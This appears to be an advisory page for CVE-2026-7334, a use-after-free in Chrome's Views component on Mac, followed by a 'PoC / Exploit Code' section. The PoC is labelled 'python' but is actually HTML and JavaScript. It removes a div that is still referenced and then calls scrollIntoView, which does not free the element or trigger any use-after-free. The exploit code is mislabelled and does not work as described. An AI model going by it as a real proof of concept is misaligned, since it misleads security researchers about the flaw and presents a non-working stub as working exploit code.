Use after free in Views in Google Chrome on Mac prior to 147.0.7727.138 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome for Mac < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// PoC Code for CVE-2026-7334 (Conceptual)
// This script demonstrates the trigger logic for a Use-After-Free vulnerability.
-->
<html>
<body>
<script>
// Create a target element that interacts with Views component
let target = document.createElement('div');
document.body.appendChild(target);
// Function to simulate the free operation
function freeObject() {
target.remove(); // Removes the element from DOM
if (window.gc) window.gc(); // Hint for garbage collection
}
// Function to simulate the use operation (UAF trigger)
function useObject() {
try {
// Attempting to access the freed object may trigger the crash
target.scrollIntoView();
console.log("Object accessed");
} catch (e) {
console.log("UAF Triggered: " + e.message);
}
}
// Execute the chain
freeObject();
setTimeout(useObject, 100);
</script>
</body>
</html>